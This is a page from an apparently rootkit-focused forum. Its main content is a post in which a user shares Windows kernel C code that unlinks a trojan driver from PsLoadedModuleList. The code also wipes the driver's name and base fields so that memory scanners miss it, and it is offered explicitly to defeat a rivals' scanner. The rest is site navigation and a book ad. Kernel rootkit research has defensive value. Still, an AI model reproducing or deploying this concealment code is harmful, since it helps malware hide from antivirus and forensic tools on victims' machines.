 main menuhome
forums Show me new threads!
bookmarks
view blogs
vault you must be level 2 to upload files to your vault
downloads you must be logged on, and level 1, to access downloads
Rootkit Collection
A news back-end to implement RootKit news into your website is here or more advanced version here.
An XML/RSS feed that includes both NEWS and BLOGS for RootKit is here: XML/RSS.
Beta feed for replied posts here. feedback to admins not forums, we know about times being off...
|
ROOTKIT
Because the OS isn't enough!
|
Thursday September 02nd |
| | Featured Article: Nostalgia: n00bk1t, an advanced ring3 rootkit in C by jeffosz | Please don't greap me! By: valerinoCiao gianna (and ciao all), First of all thank you for waking my interest up in this hot summer..... you know, sun, beach, etc... keeps me a bit away from the keyboard. Anyway, here's the code to defeat your scanner (as you can see, it's the standard hide routine for PsLoadedModuleList, but with a few tweaks) :
//************************************************************************ // VOID ModuleHide(PDRIVER_OBJECT MyDrvObj) // // Hide module from PsLoadedModuleList //************************************************************************ VOID ModuleHide(PDRIVER_OBJECT MyDrvObj) { // disable this routine on debug builds, since windbg seems to have problem loading symbols if the module is hidden :) // and.... do not use this routine in INIT section!! PMODULE_ENTRY pCurrentModule = NULL; // at DriverSection pointer there is PsLoadedModuleList pCurrentModule = *((PMODULE_ENTRY*)((DWORD)MyDrvObj->DriverSection)); if (pCurrentModule == NULL) return; // We get its Flink pointer to start scan for drivername, since the head do not have a name pCurrentModule = (MODULE_ENTRY*)pCurrentModule->le_mod.Flink;
<cont> while (TRUE) { if (pCurrentModule->driver_Path.MaximumLength > 3 && pCurrentModule->driver_Path.Buffer) { if (Utilwcsstrsize(pCurrentModule->driver_Path.Buffer, DEFAULT_TROJAN_DRIVERNAME,pCurrentModule->driver_Path.Length, wcslen(DEFAULT_TROJAN_DRIVERNAME) * sizeof (WCHAR),FALSE)) { // clear base and name in current module entry (to avoid raw-memory scanning) pCurrentModule->driver_Name.Buffer = NULL; pCurrentModule->driver_Path.MaximumLength = 0; pCurrentModule->driver_Path.Length = 0; pCurrentModule->base = 0; pCurrentModule->driver_start = 0; // clear base and name in driverobject (to avoid raw-memory scanning) MyDrvObj->DriverStart = 0; MyDrvObj->DriverName.Buffer = NULL; MyDrvObj->DriverName.MaximumLength = 0; MyDrvObj->DriverName.Length = 0; // hide pCurrentModule->le_mod.Blink->Flink = pCurrentModule->le_mod.Flink; pCurrentModule->le_mod.Flink->Blink = pCurrentModule->le_mod.Blink; KDebugPrint (1,("%s Module hidden from PsLoadedModuleList OK.\n",MODULE)); break; } } // next module pCurrentModule = (MODULE_ENTRY*)pCurrentModule->le_mod.Flink; }
}
Well.... there could be some other fields to clear, but basically the approach to be used for this sort of scanning is this. Clear stuff until the scanner won't recognize your module (and the OS do not complain). If the scanner can find a field which if mangled leads the OS to crash, that's an effective scanner. The ball is up to you now..... Happy Christmas! regards, valerio
|
| |
ROOTKITS, Subverting the Windows Kernel
By: Greg Hoglund and Jamie Butler
Rootkits are powerful tools to compromise computer systems without detection. Get the original and best book on the subject here.
|
active for last 5 minutes
registered users:80290
There are currently 0 registered users and 32 guests browsing the website.
Welcome our latest registered user: samel
| Aug 24, 04:27 |
| Aug 16, 04:49 |
| Aug 13, 16:44 |
| Aug 09, 15:25 |
| Aug 05, 15:52 |
| Best Screenshots / Analog |
| the most active news users |
based on the number of news posts for last 30 days
|